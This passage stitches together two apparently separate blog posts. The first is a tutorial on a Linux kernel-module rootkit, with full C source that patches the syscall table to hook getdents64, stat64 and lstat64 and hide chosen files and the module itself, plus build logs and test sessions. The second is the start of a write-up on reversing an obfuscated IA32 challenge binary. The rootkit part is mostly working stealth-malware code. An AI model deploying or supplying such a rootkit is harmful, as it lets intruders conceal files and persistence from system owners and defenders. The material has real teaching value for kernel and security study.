[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.ko")'
[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:app")'
[email protected]:~/lkms/hidefiles# ls
app.c   cdev.h  functs.c  functs.o         hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
cdev.c  cdev.o  functs.h  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:app.c")'
[email protected]:~/lkms/hidefiles# ls
cdev.c  cdev.o    functs.h  hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
cdev.h  functs.c  functs.o  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:app.c")'
[email protected]:~/lkms/hidefiles# ls
app.c   cdev.h  functs.c  functs.o         hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
cdev.c  cdev.o  functs.h  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:app")'
[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.mod.c  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.mod.c")'
[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
app.c  cdev.h  functs.c  functs.o  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:hidefiles.mod.o")'
[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.o  list.h  main.c  Makefile       Module.symvers  syscalls.h
app.c  cdev.h  functs.c  functs.o  list.c       list.o  main.o  modules.order  syscalls.c      syscalls.o
[email protected]:~/lkms/hidefiles# rmmod hidefiles
[email protected]:~/lkms/hidefiles# ls
app     cdev.h    functs.h      hidefiles.mod.c  list.c  main.c    modules.order   syscalls.h
app.c   cdev.o    functs.o      hidefiles.mod.o  list.h  main.o    Module.symvers  syscalls.o
cdev.c  functs.c  hidefiles.ko  hidefiles.o      list.o  Makefile  syscalls.c      thisisatestfile.txt

As you can see, we are now able to hide and unhide files on demand, there is, however, still a problem:

1
2
3
4
5
6
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# ls
app    cdev.c  cdev.o    functs.h  hidefiles.ko     hidefiles.mod.o  list.c  list.o  main.o    modules.order   syscalls.c  syscalls.o
app.c  cdev.h  functs.c  functs.o  hidefiles.mod.c  hidefiles.o      list.h  main.c  Makefile  Module.symvers  syscalls.h
[email protected]:~/lkms/hidefiles# ls thisisatestfile.txt
thisisatestfile.txt

Hiding Files Better

Now let's hide the files even when they are queried directly.

To figure out how to do this we will use the same method as we did when figuring out how to hide files to being with, by looking at the system calls that are being made and hooking them.

We will start by determining the system calls responsible for this:

1
2
3
4
5
[email protected]:~/lkms/hidefiles# strace ls thisisatestfile.txt 2>&1 | grep 'thisisatestfile.txt'
execve("/bin/ls", ["ls", "thisisatestfile.txt"], [/* 18 vars */]) = 0
stat64("thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
lstat64("thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(1, "thisisatestfile.txt\n", 20thisisatestfile.txt

I've grepped for the filename because the system call must be querying the filename directly, we've found 2 (stat64 and lstat64).

It looks like it returns 0 when its successful, let's see what happens when its unsuccessful:

1
2
3
4
5
[email protected]:~/lkms/hidefiles# strace ls thisisnotafile.txt 2>&1 | grep 'thisisnotafile.txt'
execve("/bin/ls", ["ls", "thisisnotafile.txt"], [/* 18 vars */]) = 0
stat64("thisisnotafile.txt", 0x8cdf3b8) = -1 ENOENT (No such file or directory)
lstat64("thisisnotafile.txt", 0x8cdf3b8) = -1 ENOENT (No such file or directory)
write(2, "cannot access thisisnotafile.txt", 32cannot access thisisnotafile.txt) = 32

So they return -ENOENT if the file does not exist.

Another thing to note about this output is that the second argument to both stat64 and lstat64 is a pointer to a buffer which on a success is populated by the system call and obviously left blank in a failure.

The manpage for these functions confirms that:

1
2
int stat(const char *path, struct stat *buf);
int lstat(const char *path, struct stat *buf);

We don't care too much about the stat struct because if it matches any of our hidden files we will just return -ENOENT and otherwise we will forward the request to the original system call.

If we wanted to actually manipulate the results that applications got back from these systems calls, we could use this structure to do so.

One more thing to check is what the request looks like when a full path is given:

1
2
3
4
[email protected]:~/lkms/hidefiles# strace ls ~/lkms/hidefiles/thisisatestfile.txt 2>&1 | grep 'thisisatestfile.txt'
stat64("/root/lkms/hidefiles/thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
lstat64("/root/lkms/hidefiles/thisisatestfile.txt", {st_mode=S_IFREG|0644, st_size=0, ...}) = 0
write(1, "/root/lkms/hidefiles/thisisatest"..., 41/root/lkms/hidefiles/thisisatestfile.txt

So the full path is passed to the system call, we will have to deal with this because obviously we only have a list of filenames so we will have to manually extract the actual filename to check against our list.

First let's write the function which extracts the filename from the full path and checks if it is in the list:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int extractfilename(const char *f)
{
    int i, n, c;
    size_t l;
    l = strlen(f);

    for(i = l-1, n = 0; i>=0; i--, n++){
        if(f[i] == '/'){
            i = -1;
            break;
        }
    }

    if(i == -1)
        c = n+1;
    else
        c = l;

    char s[c];
    memset(s, 0, c);

    for(i = 0; n>0; i++, n--)
        s[i] = f[l-n];

    return lookupfilename(s);
}

We need to add the prototype in list.h so that the other files can use it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#ifndef LIST
#define LIST

#include <linux/vmalloc.h>

// Functions
void addfile(const char *f);
void remfile(const char *f);
void emptylist(void);
int lookupfilename(const char *f);
int extractfilename(const char *f);

#endif

Now for the system calls, this should be added to syscalls.c:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
asmlinkage int (*original_stat64) (const char *path, struct stat64 *buf);
asmlinkage int (*original_lstat64) (const char *path, struct stat64 *buf);

asmlinkage int stat64_hook(const char *path, struct stat64 *buf)
{
    if ((extractfilename(path)) == 1)
        return -ENOENT;
    return original_stat64(path, buf);
}

asmlinkage int lstat64_hook(const char *path, struct stat64 *buf)
{
    if ((extractfilename(path)) == 1)
        return -ENOENT;
    return original_lstat64(path, buf);
}

And we need to update syscalls.h:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
#ifndef SYSCALLS
#define SYSCALLS

#include <linux/semaphore.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/stat.h>

// Functions
asmlinkage int sys_getdents64_hook(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
extern asmlinkage int (*original_getdents64) (unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
asmlinkage int stat64_hook(const char *path, struct stat64 *buf);
asmlinkage int lstat64_hook(const char *path, struct stat64 *buf);
extern asmlinkage int (*original_stat64) (const char *path, struct stat64 *buf);
extern asmlinkage int (*original_lstat64) (const char *path, struct stat64 *buf);

#endif

We need to include linux/stat.h because that includes the declaration of the stat64 structure.

And lastly we need to update main.c to hook and unhook these 2 syscalls on load/unload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <linux/module.h>
#include <linux/init.h>
#include <linux/unistd.h>
#include <linux/miscdevice.h>

#include "syscalls.h"
#include "functs.h"
#include "list.h"
#include "cdev.h"

MODULE_AUTHOR("0xe7, 0x1e");
MODULE_DESCRIPTION("Hide files on the system");
MODULE_LICENSE("GPL");

void **sys_call_table;

static int __init hidefiles_init(void)
{
    sys_call_table = find_sys_call_table();
    if(sys_call_table == NULL)
        return 1;
    original_getdents64 = sys_call_table[__NR_getdents64];
    original_stat64 = sys_call_table[__NR_stat64];
    original_lstat64 = sys_call_table[__NR_lstat64];

    disable_write_protection();
    sys_call_table[__NR_getdents64] = sys_getdents64_hook;
    sys_call_table[__NR_stat64] = stat64_hook;
    sys_call_table[__NR_lstat64] = lstat64_hook;
    enable_write_protection();
    misc_register(&dev_misc_device);
    addfile("hidefiles");
    addfile("hidefiles.ko");
    return 0;
}

static void __exit hidefiles_exit(void)
{
    disable_write_protection();
    sys_call_table[__NR_getdents64] = original_getdents64;
    sys_call_table[__NR_stat64] = original_stat64;
    sys_call_table[__NR_lstat64] = original_lstat64;
    enable_write_protection();
    misc_deregister(&dev_misc_device);
    emptylist();
    return;
}

module_init(hidefiles_init);
module_exit(hidefiles_exit);

I've changed the files that it automatically hides when loaded to hidefiles (which is the name of the character device file) and hidefiles.ko (which is the name of the LKM) because this is more useful, in reality these would be named something less descriptive and the other source files wouldn't be there.

Finally to test it:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
[email protected]:~/lkms/hidefiles# make -C /lib/modules/$(uname -r)/build M=$PWD modules
make: Entering directory `/usr/src/linux-headers-3.14-kali1-686-pae'
  CC [M]  /root/lkms/hidefiles/main.o
/root/lkms/hidefiles/main.c: In function ‘hidefiles_init’:
/root/lkms/hidefiles/main.c:19:17: warning: assignment from incompatible pointer type [enabled by default]
  CC [M]  /root/lkms/hidefiles/syscalls.o
  CC [M]  /root/lkms/hidefiles/list.o
/root/lkms/hidefiles/list.c: In function ‘extractfilename’:
/root/lkms/hidefiles/list.c:110:2: warning: ISO C90 forbids mixed declarations and code [-Wdeclaration-after-statement]
  CC [M]  /root/lkms/hidefiles/cdev.o
/root/lkms/hidefiles/cdev.c: In function ‘dev_write’:
/root/lkms/hidefiles/cdev.c:51:1: warning: the frame size of 1032 bytes is larger than 1024 bytes [-Wframe-larger-than=]
  LD [M]  /root/lkms/hidefiles/hidefiles.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/lkms/hidefiles/hidefiles.mod.o
  LD [M]  /root/lkms/hidefiles/hidefiles.ko
make: Leaving directory `/usr/src/linux-headers-3.14-kali1-686-pae'
[email protected]:~/lkms/hidefiles# ls -l
total 852
-rwxr-xr-x 1 root root   5765 Nov  5 13:49 app
-rw-r--r-- 1 root root    594 Nov  5 13:09 app.c
-rw-r--r-- 1 root root   1462 Nov  5 20:10 cdev.c
-rw-r--r-- 1 root root    281 Nov  5 12:32 cdev.h
-rw-r--r-- 1 root root  58968 Nov  5 20:34 cdev.o
-rw-r--r-- 1 root root   1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root    154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root  69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root 278101 Nov  5 20:41 hidefiles.ko
-rw-r--r-- 1 root root   1203 Nov  5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root  43172 Nov  5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov  5 20:41 hidefiles.o
-rw-r--r-- 1 root root   2015 Nov  5 20:12 list.c
-rw-r--r-- 1 root root    227 Nov  5 20:34 list.h
-rw-r--r-- 1 root root  21336 Nov  5 20:34 list.o
-rw-r--r-- 1 root root   1261 Nov  5 20:41 main.c
-rw-r--r-- 1 root root  72572 Nov  5 20:41 main.o
-rw-r--r-- 1 root root     78 Nov  5 11:34 Makefile
-rw-r--r-- 1 root root     41 Nov  5 20:41 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root   1163 Nov  5 20:32 syscalls.c
-rw-r--r-- 1 root root    672 Nov  5 20:30 syscalls.h
-rw-r--r-- 1 root root  19560 Nov  5 20:34 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# ls -l
total 580
-rwxr-xr-x 1 root root   5765 Nov  5 13:49 app
-rw-r--r-- 1 root root    594 Nov  5 13:09 app.c
-rw-r--r-- 1 root root   1462 Nov  5 20:10 cdev.c
-rw-r--r-- 1 root root    281 Nov  5 12:32 cdev.h
-rw-r--r-- 1 root root  58968 Nov  5 20:34 cdev.o
-rw-r--r-- 1 root root   1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root    154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root  69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root   1203 Nov  5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root  43172 Nov  5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov  5 20:41 hidefiles.o
-rw-r--r-- 1 root root   2015 Nov  5 20:12 list.c
-rw-r--r-- 1 root root    227 Nov  5 20:34 list.h
-rw-r--r-- 1 root root  21336 Nov  5 20:34 list.o
-rw-r--r-- 1 root root   1261 Nov  5 20:41 main.c
-rw-r--r-- 1 root root  72572 Nov  5 20:41 main.o
-rw-r--r-- 1 root root     78 Nov  5 11:34 Makefile
-rw-r--r-- 1 root root     41 Nov  5 20:41 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root   1163 Nov  5 20:32 syscalls.c
-rw-r--r-- 1 root root    672 Nov  5 20:30 syscalls.h
-rw-r--r-- 1 root root  19560 Nov  5 20:34 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
[email protected]:~/lkms/hidefiles# ls -l /dev/hidefiles
ls: cannot access /dev/hidefiles: No such file or directory
[email protected]:~/lkms/hidefiles# ls -l hidefiles.ko
ls: cannot access hidefiles.ko: No such file or directory
[email protected]:~/lkms/hidefiles# ls -l ~/lkms/hidefiles/hidefiles.ko
ls: cannot access /root/lkms/hidefiles/hidefiles.ko: No such file or directory
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.c")'
[email protected]:~/lkms/hidefiles# ls -l list.c
ls: cannot access list.c: No such file or directory
[email protected]:~/lkms/hidefiles# ls
app     functs.c         hidefiles.o  Makefile        syscalls.o
app.c   functs.h         list.h       modules.order   thisisatestfile.txt
cdev.c  functs.o         list.o       Module.symvers
cdev.h  hidefiles.mod.c  main.c       syscalls.c
cdev.o  hidefiles.mod.o  main.o       syscalls.h
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.h")'
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("a:list.o")'
[email protected]:~/lkms/hidefiles# ls
app     cdev.o    hidefiles.mod.c  main.o          syscalls.c
app.c   functs.c  hidefiles.mod.o  Makefile        syscalls.h
cdev.c  functs.h  hidefiles.o      modules.order   syscalls.o
cdev.h  functs.o  main.c           Module.symvers  thisisatestfile.txt
[email protected]:~/lkms/hidefiles# for f in `ls`; do python -c "open('/dev/hidefiles', 'w').write(\"a:$f\")"; done
[email protected]:~/lkms/hidefiles# ls
[email protected]:~/lkms/hidefiles# ls -l
total 0
[email protected]:~/lkms/hidefiles# python -c 'open("/dev/hidefiles", "w").write("r:list.o")'
[email protected]:~/lkms/hidefiles# ls
list.o
[email protected]:~/lkms/hidefiles# rmmod hidefiles
[email protected]:~/lkms/hidefiles# ls
app     cdev.o    hidefiles.ko     list.c  main.o          syscalls.c
app.c   functs.c  hidefiles.mod.c  list.h  Makefile        syscalls.h
cdev.c  functs.h  hidefiles.mod.o  list.o  modules.order   syscalls.o
cdev.h  functs.o  hidefiles.o      main.c  Module.symvers  thisisatestfile.txt

Funnily enough this also hides directories with a name that is in the list but doesn't stop you from cd'ing there:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
[email protected]:~/lkms/hidefiles# insmod ./hidefiles.ko
[email protected]:~/lkms/hidefiles# cd ..
[email protected]:~/lkms# ls -l
total 720
-rw-r--r-- 1 root root    380 May 12 19:47 hello.c
-rw-r--r-- 1 root root  74389 Jul 11 17:54 hello.ko
-rw-r--r-- 1 root root    659 Jul 11 17:54 hello.mod.c
-rw-r--r-- 1 root root  42436 Jul 11 17:54 hello.mod.o
-rw-r--r-- 1 root root  32960 Jul 11 17:53 hello.o
-rw-r--r-- 1 root root   2080 Jul 11 18:18 hidefile.c
-rw-r--r-- 1 root root 122949 Jul 11 18:18 hidefile.ko
-rw-r--r-- 1 root root    810 Jul 11 17:54 hidefile.mod.c
-rw-r--r-- 1 root root  42636 Jul 11 17:54 hidefile.mod.o
-rw-r--r-- 1 root root  81320 Jul 11 18:18 hidefile.o
-rw-r--r-- 1 root root    195 Jul 11 17:51 Makefile
-rw-r--r-- 1 root root     86 Jul 11 18:18 modules.order
-rw-r--r-- 1 root root      0 May 12 19:35 Module.symvers
-rwxr-xr-x 1 root root   6107 Jun  4 21:04 reverse_app
-rwxr-xr-x 1 root root   6135 Jun  9 23:21 reverse-app
-rwxr-xr-x 1 root root   6140 Jun  9 23:41 reverse-app2
-rw-r--r-- 1 root root    899 Jun  9 23:41 reverse-app2.c
-rw-r--r-- 1 root root    899 Jun  9 23:14 reverse-app.c
-rw-r--r-- 1 root root   2013 Jun  9 22:49 reverse.c
-rw-r--r-- 1 root root 119395 Jul 11 17:54 reverse.ko
-rw-r--r-- 1 root root   1019 Jul 11 17:54 reverse.mod.c
-rw-r--r-- 1 root root  42888 Jul 11 17:54 reverse.mod.o
-rw-r--r-- 1 root root  77532 Jul 11 17:53 reverse.o
-rwxr-xr-x 1 root root   6587 Jun  9 22:25 reverse-test-app
-rw-r--r-- 1 root root    987 Jun  9 22:16 reverse-test-app.c
-rw-r--r-- 1 root root      0 Jul 11 18:18 thisisatestfile.txt
[email protected]:~/lkms# ls -l hidefiles
ls: cannot access hidefiles: No such file or directory
[email protected]:~/lkms# ls -l hidefiles/
total 580
-rwxr-xr-x 1 root root   5765 Nov  5 13:49 app
-rw-r--r-- 1 root root    594 Nov  5 13:09 app.c
-rw-r--r-- 1 root root   1462 Nov  5 20:10 cdev.c
-rw-r--r-- 1 root root    281 Nov  5 12:32 cdev.h
-rw-r--r-- 1 root root  58968 Nov  5 20:34 cdev.o
-rw-r--r-- 1 root root   1359 Oct 31 16:08 functs.c
-rw-r--r-- 1 root root    154 Oct 31 16:10 functs.h
-rw-r--r-- 1 root root  69332 Oct 31 16:12 functs.o
-rw-r--r-- 1 root root   1203 Nov  5 20:34 hidefiles.mod.c
-rw-r--r-- 1 root root  43172 Nov  5 20:34 hidefiles.mod.o
-rw-r--r-- 1 root root 235955 Nov  5 20:41 hidefiles.o
-rw-r--r-- 1 root root   2015 Nov  5 20:12 list.c
-rw-r--r-- 1 root root    227 Nov  5 20:34 list.h
-rw-r--r-- 1 root root  21336 Nov  5 20:34 list.o
-rw-r--r-- 1 root root   1261 Nov  5 20:41 main.c
-rw-r--r-- 1 root root  72572 Nov  5 20:41 main.o
-rw-r--r-- 1 root root     78 Nov  5 11:34 Makefile
-rw-r--r-- 1 root root     41 Nov  5 20:41 modules.order
-rw-r--r-- 1 root root      0 Oct 31 14:11 Module.symvers
-rw-r--r-- 1 root root   1163 Nov  5 20:32 syscalls.c
-rw-r--r-- 1 root root    672 Nov  5 20:30 syscalls.h
-rw-r--r-- 1 root root  19560 Nov  5 20:34 syscalls.o
-rw-r--r-- 1 root root      0 Oct 31 14:18 thisisatestfile.txt
[email protected]:~/lkms# cd hidefiles
[email protected]:~/lkms/hidefiles#

Anyway, our improved rootkit seems to work nicely and as expected.

It is still currently easy to detect our rootkit though:

1
2
[email protected]:~/lkms/hidefiles# lsmod | grep hide
hidefiles              12763  0

You can get the full finished source code for the rootkit here.

Conclusion

We have used a number of techniques here to figure out how to hide files on the system and we have combined all of the knowledge we have gained to far to achieve this.

However, there are still a lot of ways we can improve this LKM, hiding the LKM's existence, and using the network to communicate are just a couple (we will take these up later).

When dealing with kernel code you have to be very careful as you can break the whole system, this is evident with the first character device that we created (just load the device and write 5000 bytes to it, the system will crash instantly).

Happy Kernel Hacking :-)

Further Reading

This article on Kernel Rootkit Tricks by Jürgen Quade

The Phrack article titled Linux on-the-fly kernel patching without LKM by sd and devik

Designing BSD Rootkits by Joseph Kong

And of course the kernel documentation

Reversing A Simple Obfuscated Application

By: 0xe7
30 September 2014 at 20:43

I created this application as a little challenge and some practice at manually obfuscating an application at the assembly level.

I wrote the application in IA32 assembly and then manually obfuscated it using a couple of different methods.

Here I will show how to solve the challenge in 2 different ways.

Lastly I will show how the obfuscation could have been done better so that it would have been a lot more difficult to solve this using a simple static disassembly.

The Challenge

We are given the static disassembly below of a 32bit linux application which says whether or not the author is going to some event:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
./going-or-not-obf:     file format elf32-i386


Disassembly of section .text:

08048060 <.text>:
 8048060:   89 c2                   mov    edx,eax
 8048062:   bf 25 00 00 00          mov    edi,0x25
 8048067:   eb 4d                   jmp    0x80480b6
 8048069:   b3 32                   mov    bl,0x32
 804806b:   5e                      pop    esi
 804806c:   31 c0                   xor    eax,eax
 804806e:   74 6c                   je     0x80480dc
 8048070:   b7 6a                   mov    bh,0x6a
 8048072:   e8 17 00 00 00          call   0x804808e
 8048077:   b1 04                   mov    cl,0x4
 8048079:   8a 06                   mov    al,BYTE PTR [esi]
 804807b:   29 cc                   sub    esp,ecx
 804807d:   41                      inc    ecx
 804807e:   30 c8                   xor    al,cl
 8048080:   31 c9                   xor    ecx,ecx
 8048082:   83 f8 04                cmp    eax,0x4
 8048085:   74 12                   je     0x8048099
 8048087:   8d 4d f1                lea    ecx,[ebp-0xf]
 804808a:   b2 10                   mov    dl,0x10
 804808c:   eb 09                   jmp    0x8048097
 804808e:   31 db                   xor    ebx,ebx
 8048090:   31 c9                   xor    ecx,ecx
 8048092:   89 ca                   mov    edx,ecx
 8048094:   ff 24 24                jmp    DWORD PTR [esp]
 8048097:   eb 05                   jmp    0x804809e
 8048099:   8d 4d e5                lea    ecx,[ebp-0x1b]
 804809c:   b2 0c                   mov    dl,0xc
 804809e:   31 c0                   xor    eax,eax
 80480a0:   b0 08                   mov    al,0x8
 80480a2:   bb 04 00 00 00          mov    ebx,0x4
 80480a7:   29 d8                   sub    eax,ebx
 80480a9:   29 c3                   sub    ebx,eax
 80480ab:   43                      inc    ebx
 80480ac:   cd 80                   int    0x80
 80480ae:   31 c0                   xor    eax,eax
 80480b0:   31 db                   xor    ebx,ebx
 80480b2:   fe c0                   inc    al
 80480b4:   cd 80                   int    0x80
 80480b6:   e8 ae ff ff ff          call   0x8048069
 80480bb:   ed                      in     eax,dx
 80480bc:   4e                      dec    esi
 80480bd:   65 23 2a                and    ebp,DWORD PTR gs:[edx]
 80480c0:   2d 2b 23 64 30          sub    eax,0x3064232b
 80480c5:   2b 2a                   sub    ebp,DWORD PTR [edx]
 80480c7:   64 29 25 64 0d 4e 65    sub    DWORD PTR fs:0x654e0d64,esp
 80480ce:   23 2a                   and    ebp,DWORD PTR [edx]
 80480d0:   2d 2b 23 64 29          sub    eax,0x2964232b
 80480d5:   25 64 0d ee 89          and    eax,0x89ee0d64
 80480da:   89 c5                   mov    ebp,eax
 80480dc:   b0 c9                   mov    al,0xc9
 80480de:   01 f8                   add    eax,edi
 80480e0:   eb 1f                   jmp    0x8048101
 80480e2:   8d 55 00                lea    edx,[ebp+0x0]
 80480e5:   88 0c 24                mov    BYTE PTR [esp],cl
 80480e8:   4c                      dec    esp
 80480e9:   68 e9 80 04 08          push   0x80480e9
 80480ee:   85 d2                   test   edx,edx
 80480f0:   38 02                   cmp    BYTE PTR [edx],al
 80480f2:   0f 84 78 ff ff ff       je     0x8048070
 80480f8:   89 fb                   mov    ebx,edi
 80480fa:   83 c3 1f                add    ebx,0x1f
 80480fd:   30 1a                   xor    BYTE PTR [edx],bl
 80480ff:   4a                      dec    edx
 8048100:   c3                      ret    
 8048101:   31 ed                   xor    ebp,ebp
 8048103:   31 c9                   xor    ecx,ecx
 8048105:   31 d2                   xor    edx,edx
 8048107:   42                      inc    edx
 8048108:   8d 2c 0c                lea    ebp,[esp+ecx*1]
 804810b:   8a 0c 16                mov    cl,BYTE PTR [esi+edx*1]
 804810e:   38 c1                   cmp    cl,al
 8048110:   74 d0                   je     0x80480e2
 8048112:   88 0c 24                mov    BYTE PTR [esp],cl
 8048115:   83 ec 01                sub    esp,0x1
 8048118:   42                      inc    edx
 8048119:   89 e4                   mov    esp,esp
 804811b:   83 f9 00                cmp    ecx,0x0
 804811e:   7f eb                   jg     0x804810b
 8048120:   89 ed                   mov    ebp,ebp
 8048122:   c3                      ret

The challenge is to figure out whether or not the author is going based solely on this static disassembly.

Method 1: The Easy Way

In this method we'll rebuild the application and simply run it to get the answer.

The first step is to copy the instruction into a new nasm file, if we do that we get:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
global _start

section .text

_start:
    mov    edx,eax
    mov    edi,0x25
    jmp    0x80480b6
    mov    bl,0x32
    pop    esi
    xor    eax,eax
    je     0x80480dc
    mov    bh,0x6a
    call   0x804808e
    mov    cl,0x4
    mov    al,BYTE PTR [esi]
    sub    esp,ecx
    inc    ecx
    xor    al,cl
    xor    ecx,ecx
    cmp    eax,0x4
    je     0x8048099
    lea    ecx,[ebp-0xf]
    mov    dl,0x10
    jmp    0x8048097
    xor    ebx,ebx
    xor    ecx,ecx
    mov    edx,ecx
    jmp    DWORD PTR [esp]
    jmp    0x804809e
    lea    ecx,[ebp-0x1b]
    mov    dl,0xc
    xor    eax,eax
    mov    al,0x8
    mov    ebx,0x4
    sub    eax,ebx
    sub    ebx,eax
    inc    ebx
    int    0x80
    xor    eax,eax
    xor    ebx,ebx
    inc    al
    int    0x80
    call   0x8048069
    in     eax,dx
    dec    esi
    and    ebp,DWORD PTR gs:[edx]
    sub    eax,0x3064232b
    sub    ebp,DWORD PTR [edx]
    sub    DWORD PTR fs:0x654e0d64,esp
    and    ebp,DWORD PTR [edx]
    sub    eax,0x2964232b
    and    eax,0x89ee0d64
    mov    ebp,eax
    mov    al,0xc9
    add    eax,edi
    jmp    0x8048101
    lea    edx,[ebp+0x0]
    mov    BYTE PTR [esp],cl
    dec    esp
    push   0x80480e9
    test   edx,edx
    cmp    BYTE PTR [edx],al
    je     0x8048070
    mov    ebx,edi
    add    ebx,0x1f
    xor    BYTE PTR [edx],bl
    dec    edx
    ret    
    xor    ebp,ebp
    xor    ecx,ecx
    xor    edx,edx
    inc    edx
    lea    ebp,[esp+ecx*1]
    mov    cl,BYTE PTR [esi+edx*1]
    cmp    cl,al
    je     0x80480e2
    mov    BYTE PTR [esp],cl
    sub    esp,0x1
    inc    edx
    mov    esp,esp
    cmp    ecx,0x0
    jg     0x804810b
    mov    ebp,ebp
    ret

When we try to assemble this we get:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[email protected]:~# nasm -felf32 -o going-or-not-obf-test1 going-or-not-obf-test1.nasm going-or-not-obf-test1.nasm:16: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:29: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:47: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:49: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:50: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:51: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:59: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:63: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:67: error: comma, colon or end of line expected
going-or-not-obf-test1.nasm:75: error: comma, colon or end of line expected
